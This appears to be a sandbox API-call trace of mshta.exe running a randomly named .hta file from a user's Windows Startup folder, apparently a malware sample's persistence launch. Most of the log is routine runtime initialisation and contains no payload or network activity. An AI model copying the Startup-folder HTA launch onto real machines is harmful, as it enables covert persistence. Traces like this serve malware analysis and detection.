[0087.535] GetProcAddress (hModule=0x765d0000, lpProcName="EncodePointer") returned 0x77b50fcb
[0087.535] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.535] GetProcAddress (hModule=0x765d0000, lpProcName="EncodePointer") returned 0x77b50fcb
[0087.535] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.535] GetProcAddress (hModule=0x765d0000, lpProcName="EncodePointer") returned 0x77b50fcb
[0087.535] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.535] GetProcAddress (hModule=0x765d0000, lpProcName="EncodePointer") returned 0x77b50fcb
[0087.535] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.535] GetProcAddress (hModule=0x765d0000, lpProcName="EncodePointer") returned 0x77b50fcb
[0087.535] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.535] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.536] GetModuleHandleW (lpModuleName="kernelbase.dll") returned 0x765d0000
[0087.536] GetProcAddress (hModule=0x765d0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x765e004f
[0087.536] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.536] GetProcAddress (hModule=0x765d0000, lpProcName="EncodePointer") returned 0x77b50fcb
[0087.536] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.536] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.536] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.536] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.536] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.536] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.536] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.536] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.537] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.537] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.537] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.537] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.537] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.537] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.537] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.537] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.537] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.537] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.537] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.538] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.538] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.538] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.538] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.538] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.538] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.538] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.538] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.538] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.538] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x214) returned 0x2907d0
[0087.539] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.539] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.539] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x765d0000
[0087.539] GetProcAddress (hModule=0x765d0000, lpProcName="EncodePointer") returned 0x77b50fcb
[0087.539] GetProcAddress (hModule=0x765d0000, lpProcName="DecodePointer") returned 0x77b49d35
[0087.539] GetStartupInfoA (in: lpStartupInfo=0x1cf93c | out: lpStartupInfo=0x1cf93c*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\SysWOW64\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff))
[0087.539] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x480) returned 0x2909f0
[0087.539] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0087.539] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
[0087.539] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
[0087.539] SetHandleCount (uNumber=0x20) returned 0x20
[0087.539] GetCommandLineA () returned="\"C:\\Windows\\SysWOW64\\mshta.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta\" "
[0087.539] GetEnvironmentStringsW () returned 0x460298*
[0087.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409
[0087.539] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x581) returned 0x290e78
[0087.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x290e78, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409
[0087.540] FreeEnvironmentStringsW (penv=0x460298) returned 1
[0087.540] GetLastError () returned 0x0
[0087.540] SetLastError (dwErrCode=0x0)
[0087.540] GetLastError () returned 0x0
[0087.540] SetLastError (dwErrCode=0x0)
[0087.540] GetLastError () returned 0x0
[0087.540] SetLastError (dwErrCode=0x0)
[0087.540] GetACP () returned 0x4e4
[0087.540] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x220) returned 0x291408
[0087.540] GetLastError () returned 0x0
[0087.540] SetLastError (dwErrCode=0x0)
[0087.540] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1cf914 | out: lpCPInfo=0x1cf914) returned 1
[0087.540] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1cf3e0 | out: lpCPInfo=0x1cf3e0) returned 1
[0087.540] GetLastError () returned 0x0
[0087.540] SetLastError (dwErrCode=0x0)
[0087.540] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x1cf370 | out: lpCharType=0x1cf370) returned 1
[0087.540] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1cf7f4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0087.540] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1cf7f4, cbMultiByte=256, lpWideCharStr=0x1cf158, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0087.540] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x1cf3f4 | out: lpCharType=0x1cf3f4) returned 1
[0087.540] GetLastError () returned 0x0
[0087.540] SetLastError (dwErrCode=0x0)
[0087.540] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1
[0087.540] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1cf7f4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0087.540] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1cf7f4, cbMultiByte=256, lpWideCharStr=0x1cf0f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ풬溂\x92帏헹Ā") returned 256
[0087.540] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ풬溂\x92帏헹Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
[0087.541] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ풬溂\x92帏헹Ā", cchSrc=256, lpDestStr=0x1ceee8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256
[0087.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x1cf6f4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ»UùÕ,ù\x1c", lpUsedDefaultChar=0x0) returned 256
[0087.541] GetLastError () returned 0x0
[0087.541] SetLastError (dwErrCode=0x0)
[0087.541] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1cf7f4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0087.541] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x1cf7f4, cbMultiByte=256, lpWideCharStr=0x1cf118, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ풬溂\x92帯헹Ā") returned 256
[0087.541] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ풬溂\x92帯헹Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
[0087.541] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ풬溂\x92帯헹Ā", cchSrc=256, lpDestStr=0x1cef08, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256
[0087.541] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x1cf5f4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ»UùÕ,ù\x1c", lpUsedDefaultChar=0x0) returned 256
[0087.541] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x92b0f0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d
[0087.541] GetLastError () returned 0x0
[0087.541] SetLastError (dwErrCode=0x0)
[0087.541] GetLastError () returned 0x0
[0087.541] SetLastError (dwErrCode=0x0)
[0087.541] GetLastError () returned 0x0
[0087.541] SetLastError (dwErrCode=0x0)
[0087.541] GetLastError () returned 0x0
[0087.541] SetLastError (dwErrCode=0x0)
[0087.541] GetLastError () returned 0x0
[0087.541] SetLastError (dwErrCode=0x0)
[0087.541] GetLastError () returned 0x0
[0087.541] SetLastError (dwErrCode=0x0)
[0087.541] GetLastError () returned 0x0
[0087.542] SetLastError (dwErrCode=0x0)
[0087.542] GetLastError () returned 0x0
[0087.542] SetLastError (dwErrCode=0x0)
[0087.542] GetLastError () returned 0x0
[0087.542] SetLastError (dwErrCode=0x0)
[0087.542] GetLastError () returned 0x0
[0087.542] SetLastError (dwErrCode=0x0)
[0087.542] GetLastError () returned 0x0
[0087.542] SetLastError (dwErrCode=0x0)
[0087.542] GetLastError () returned 0x0
[0087.542] SetLastError (dwErrCode=0x0)
[0087.542] GetLastError () returned 0x0
[0087.542] SetLastError (dwErrCode=0x0)
[0087.542] GetLastError () returned 0x0
[0087.542] SetLastError (dwErrCode=0x0)
[0087.542] GetLastError () returned 0x0
[0087.542] SetLastError (dwErrCode=0x0)
[0087.542] GetLastError () returned 0x0
[0087.542] SetLastError (dwErrCode=0x0)
[0087.542] GetLastError () returned 0x0
[0087.543] SetLastError (dwErrCode=0x0)
[0087.543] GetLastError () returned 0x0
[0087.543] SetLastError (dwErrCode=0x0)
[0087.543] GetLastError () returned 0x0
[0087.543] SetLastError (dwErrCode=0x0)
[0087.543] GetLastError () returned 0x0
[0087.543] SetLastError (dwErrCode=0x0)
[0087.543] GetLastError () returned 0x0
[0087.543] SetLastError (dwErrCode=0x0)
[0087.543] GetLastError () returned 0x0
[0087.543] SetLastError (dwErrCode=0x0)
[0087.543] GetLastError () returned 0x0
[0087.543] SetLastError (dwErrCode=0x0)
[0087.543] GetLastError () returned 0x0
[0087.543] SetLastError (dwErrCode=0x0)
[0087.543] GetLastError () returned 0x0
[0087.543] SetLastError (dwErrCode=0x0)
[0087.543] GetLastError () returned 0x0
[0087.543] SetLastError (dwErrCode=0x0)
[0087.543] GetLastError () returned 0x0
[0087.544] SetLastError (dwErrCode=0x0)
[0087.544] GetLastError () returned 0x0
[0087.544] SetLastError (dwErrCode=0x0)
[0087.544] GetLastError () returned 0x0
[0087.544] SetLastError (dwErrCode=0x0)
[0087.544] GetLastError () returned 0x0
[0087.544] SetLastError (dwErrCode=0x0)
[0087.544] GetLastError () returned 0x0
[0087.544] SetLastError (dwErrCode=0x0)
[0087.544] GetLastError () returned 0x0
[0087.544] SetLastError (dwErrCode=0x0)
[0087.544] GetLastError () returned 0x0
[0087.544] SetLastError (dwErrCode=0x0)
[0087.544] GetLastError () returned 0x0
[0087.544] SetLastError (dwErrCode=0x0)
[0087.544] GetLastError () returned 0x0
[0087.544] SetLastError (dwErrCode=0x0)
[0087.544] GetLastError () returned 0x0
[0087.544] SetLastError (dwErrCode=0x0)
[0087.544] GetLastError () returned 0x0
[0087.545] SetLastError (dwErrCode=0x0)
[0087.545] GetLastError () returned 0x0
[0087.545] SetLastError (dwErrCode=0x0)
[0087.545] GetLastError () returned 0x0
[0087.545] SetLastError (dwErrCode=0x0)
[0087.545] GetLastError () returned 0x0
[0087.545] SetLastError (dwErrCode=0x0)
[0087.545] GetLastError () returned 0x0
[0087.545] SetLastError (dwErrCode=0x0)
[0087.545] GetLastError () returned 0x0
[0087.545] SetLastError (dwErrCode=0x0)
[0087.545] GetLastError () returned 0x0
[0087.545] SetLastError (dwErrCode=0x0)
[0087.545] GetLastError () returned 0x0
[0087.545] SetLastError (dwErrCode=0x0)
[0087.545] GetLastError () returned 0x0
[0087.545] SetLastError (dwErrCode=0x0)
[0087.545] GetLastError () returned 0x0
[0087.545] SetLastError (dwErrCode=0x0)
[0087.545] GetLastError () returned 0x0
[0087.546] SetLastError (dwErrCode=0x0)
[0087.546] GetLastError () returned 0x0
[0087.546] SetLastError (dwErrCode=0x0)
[0087.546] GetLastError () returned 0x0
[0087.546] SetLastError (dwErrCode=0x0)
[0087.546] GetLastError () returned 0x0
[0087.546] SetLastError (dwErrCode=0x0)
[0087.546] GetLastError () returned 0x0
[0088.175] SetLastError (dwErrCode=0x0)
[0088.175] GetLastError () returned 0x0
[0088.175] SetLastError (dwErrCode=0x0)
[0088.175] GetLastError () returned 0x0
[0088.175] SetLastError (dwErrCode=0x0)
[0088.175] GetLastError () returned 0x0
[0088.175] SetLastError (dwErrCode=0x0)
[0088.175] GetLastError () returned 0x0
[0088.175] SetLastError (dwErrCode=0x0)
